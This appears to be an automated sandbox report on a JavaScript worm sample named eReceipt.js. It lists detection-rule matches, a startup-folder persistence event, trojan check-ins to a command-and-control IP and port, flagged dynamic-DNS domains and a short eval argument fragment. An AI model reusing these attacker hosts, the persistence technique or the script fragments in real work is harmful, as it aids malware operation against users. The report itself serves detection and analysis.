0000000C.00000002.881396869.00000171E222F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000009.00000002.881676533.0000011D6D82C000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x11804:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x11814:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x11834:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x11844:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x11864:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x11874:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x11894:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x118a4:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x118b4:$x1: 78 34 4E 6A 56 63 65 44 49 77 58 48 67 0x118c4:$x1: 78 34 4E 7A 52 63 65 44 63 79 58 48 67 0x118d4:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67 0x11b94:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x11ba4:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x11bb4:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x11bc4:$x1: 78 34 4E 6D 5A 63 65 44 5A 6C 58 48 67 0x11bd4:$x1: 78 34 4E 6A 56 63 65 44 63 79 58 48 67 0x11be4:$x1: 78 34 4E 6D 5A 63 65 44 63 79 58 48 67 0x11bf4:$x1: 78 34 4E 6A 5A 63 65 44 5A 6D 58 48 67 0x11c14:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x11cd0:$x1: 78 34 4E 6D 4E 63 65 44 59 78 58 48 67 0x11ce0:$x1: 78 34 4E 6A 46 63 65 44 63 32 58 48 67
00000007.00000002.882667131.00000280CABE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000002.881056008.000001C6DADBA000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xeb0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0xec0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x14bc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1548:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x168c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x169c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1824:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x260c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x261c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x26e8:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x26f8:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2b2c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2b3c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
00000005.00000003.390360933.000001B3A054F000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x10d0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x10e0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x16dc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1768:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x18ac:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x18bc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1a44:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x282c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x283c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2908:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2918:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2d4c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2d5c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x2db8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x309c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x4b7c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x4b8c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x4da0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x4dc0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x4e6c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x4e7c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67
00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x3243:$asp_much_sus15: AntiVirus 0x6633:$asp_much_sus15: AntiVirus 0x7493:$asp_much_sus15: AntiVirus 0xe386:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0xe516:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0x106b6:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x10846:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x3153:$asp_xml_http: Microsoft.XMLHTTP 0x6543:$asp_xml_http: Microsoft.XMLHTTP 0x73a3:$asp_xml_http: Microsoft.XMLHTTP 0xc74e:$asp_xml_http: Microsoft.XMLHTTP 0x390c:$asp_xml_method2: POST 0x6cfc:$asp_xml_method2: POST 0x7b5c:$asp_xml_method2: POST 0xd6c0:$asp_xml_method2: POST 0xa38:$asp_text1: .text 0x34e7:$asp_payload2: eval( 0x37a6:$asp_payload2: eval( 0x68d7:$asp_payload2: eval( 0x6b96:$asp_payload2: eval( 0x7737:$asp_payload2: eval(
00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x3003:$asp_much_sus15: AntiVirus 0x5ff3:$asp_much_sus15: AntiVirus 0x6e53:$asp_much_sus15: AntiVirus 0xe0d1:$tagasp_short2: %> 0xe779:$tagasp_short2: %> 0x4526:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0xa3b6:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x2f13:$asp_xml_http: Microsoft.XMLHTTP 0x5f03:$asp_xml_http: Microsoft.XMLHTTP 0x6d63:$asp_xml_http: Microsoft.XMLHTTP 0xc10e:$asp_xml_http: Microsoft.XMLHTTP 0x36cc:$asp_xml_method2: POST 0x66bc:$asp_xml_method2: POST 0x751c:$asp_xml_method2: POST 0xd080:$asp_xml_method2: POST 0x7f8:$asp_text1: .text 0x32a7:$asp_payload2: eval( 0x3566:$asp_payload2: eval( 0x6297:$asp_payload2: eval( 0x6556:$asp_payload2: eval( 0x70f7:$asp_payload2: eval(
00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000006.00000002.880198899.000001C979E13000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000005.00000002.881618761.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xf50:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0xf60:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x155c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x15e8:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x172c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x173c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x18c4:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x26ac:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x26bc:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2788:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2798:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2bcc:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2bdc:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
00000001.00000002.881826906.000001FE441D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000003.353378984.000001C6DCC2F000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x350:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x360:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x95c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x9e8:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0xb2c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0xb3c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0xcc4:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x1aac:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x1abc:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x1b88:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x1b98:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x1fcc:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x1fdc:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x2038:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x231c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x3dfc:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x3e0c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x4020:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x4040:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x40ec:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x40fc:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67
00000005.00000003.815331689.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x197e4:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x197f4:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x19814:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x19824:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x19844:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x19854:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x19874:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x19884:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x19894:$x1: 78 34 4E 6A 56 63 65 44 49 77 58 48 67 0x198a4:$x1: 78 34 4E 7A 52 63 65 44 63 79 58 48 67 0x198b4:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67 0x19b74:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x19b84:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x19b94:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x19ba4:$x1: 78 34 4E 6D 5A 63 65 44 5A 6C 58 48 67 0x19bb4:$x1: 78 34 4E 6A 56 63 65 44 63 79 58 48 67 0x19bc4:$x1: 78 34 4E 6D 5A 63 65 44 63 79 58 48 67 0x19bd4:$x1: 78 34 4E 6A 5A 63 65 44 5A 6D 58 48 67 0x19bf4:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x19cb0:$x1: 78 34 4E 6D 4E 63 65 44 59 78 58 48 67 0x19cc0:$x1: 78 34 4E 6A 46 63 65 44 63 32 58 48 67
0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000010.00000003.457112240.00000244AF413000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xb10:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0xb20:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x111c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x11a8:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x12ec:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x12fc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1484:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x226c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x227c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2348:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2358:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x278c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x279c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x27f8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x2adc:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x45bc:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x45cc:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x47e0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x4800:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x48ac:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x48bc:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67
00000000.00000002.880778085.000001C6DAD96000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x18a78:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x18d5c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1a83c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1a84c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x1aa80:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x1aaa0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1ab4c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1ab5c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x1ab7c:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1abec:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x1abfc:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x1ac0c:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x1ac1c:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x1ac2c:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67 0x1ac3c:$x1: 78 34 4E 6A 46 63 65 44 59 79 58 48 67 0x1b194:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1b418:$x1: 78 34 4E 6D 4E 63 65 44 5A 6B 58 48 67 0x1b428:$x1: 78 34 4E 6D 5A 63 65 44 49 30 58 48 67 0x1b590:$x1: 78 34 4E 6A 46 63 65 44 5A 6D 58 48 67 0x1b600:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67 0x1b610:$x1: 78 34 4E 6A 64 63 65 44 59 78 58 48 67
Process Memory Space: wscript.exe PID: 3908	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x283c8:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x283d8:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x284a4:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x284b4:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x288e8:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x288f8:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x2b92e:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x2b93e:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x2bf3a:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x2bfc6:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x2c10a:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x2c11a:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x2c2a2:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x2c973:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x2c983:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x2cf7f:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x2d00b:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x2d14f:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x2d15f:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x2d2e7:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x2daa0:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67
Process Memory Space: wscript.exe PID: 5516	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 6860	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x1e370:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x1e380:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x1e97c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1ea08:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x1eb4c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x1eb5c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1ece4:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x1f377:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x1f387:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x1f983:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1fa0f:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x1fb53:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x1fb63:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1fceb:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x6aa78:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x6aa88:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x6b084:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x6b110:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x6b254:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x6b264:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x6b3ec:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67
Process Memory Space: wscript.exe PID: 6652	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 4448	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 5768	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x27ba:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x2a9e:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x457e:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x458e:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x47a4:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x47c4:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x4870:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x4880:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x48a0:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x4910:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x4920:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x4930:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x4940:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x4950:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67 0x4960:$x1: 78 34 4E 6A 46 63 65 44 59 79 58 48 67 0x4eb8:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x513c:$x1: 78 34 4E 6D 4E 63 65 44 5A 6B 58 48 67 0x514c:$x1: 78 34 4E 6D 5A 63 65 44 49 30 58 48 67 0x52b4:$x1: 78 34 4E 6A 46 63 65 44 5A 6D 58 48 67 0x5324:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67 0x5334:$x1: 78 34 4E 6A 64 63 65 44 59 78 58 48 67
Process Memory Space: wscript.exe PID: 2312	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 5512	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 792	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x7b7:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x7c7:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0xdc3:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0xe4f:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0xf93:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0xfa3:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x112b:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x17f0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x1800:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x1dfc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1e88:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x1fcc:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x1fdc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x2164:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x27bc:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x27cc:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x27ec:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x27fc:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x281c:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x282c:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x284c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67
Process Memory Space: wscript.exe PID: 6408	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Click to see the 45 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 3908, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js

Snort Signatures

ETPRO TROJAN VJworm Checkin - Source IP: 192.168.2.7 - Destination IP: 212.193.30.129

Timestamp:	192.168.2.7212.193.30.1294977290032828283 05/17/22-23:13:15.273410
SID:	2828283
Source Port:	49772
Destination Port:	9003
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN VJworm Checkin - Source IP: 192.168.2.7 - Destination IP: 212.193.30.129

Timestamp:	192.168.2.7212.193.30.1294976290032828283 05/17/22-23:10:33.772326
SID:	2828283
Source Port:	49762
Destination Port:	9003
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN VJworm Checkin - Source IP: 192.168.2.7 - Destination IP: 212.193.30.129

Timestamp:	192.168.2.7212.193.30.1294978890032828283 05/17/22-23:13:30.858787
SID:	2828283
Source Port:	49788
Destination Port:	9003
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN VJworm Checkin - Source IP: 192.168.2.7 - Destination IP: 212.193.30.129

Timestamp:	192.168.2.7212.193.30.1294978190032828283 05/17/22-23:13:08.959758
SID:	2828283
Source Port:	49781
Destination Port:	9003
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: eReceipt.js

ReversingLabs: Detection: 19%

Antivirus detection for URL or domain

Source: http://travcharles.duia.ro:5098

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: zeegod.duckdns.org

Virustotal: Detection: 9%

Perma Link

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior

Software Vulnerabilities

JavaScript source code contains call to eval containing suspicious API calls

Source: eReceipt.js

Argument value: ['"hober$$$$=WSH.CreateObject("adodb.stream")"', '"var lmao$$$_=WSH.CreateObject("microsoft.xmldom").createElement("mko")"']

Go to definition

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 212.193.30.129 9003			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Domain query: zeegod.duckdns.org

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2828283 ETPRO TROJAN VJworm Checkin 192.168.2.7:49762 -> 212.193.30.129:9003
Source: Traffic	Snort IDS: 2828283 ETPRO TROJAN VJworm Checkin 192.168.2.7:49772 -> 212.193.30.129:9003
Source: Traffic	Snort IDS: 2828283 ETPRO TROJAN VJworm Checkin 192.168.2.7:49781 -> 212.193.30.129:9003
Source: Traffic	Snort IDS: 2828283 ETPRO TROJAN VJworm Checkin 192.168.2.7:49788 -> 212.193.30.129:9003

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
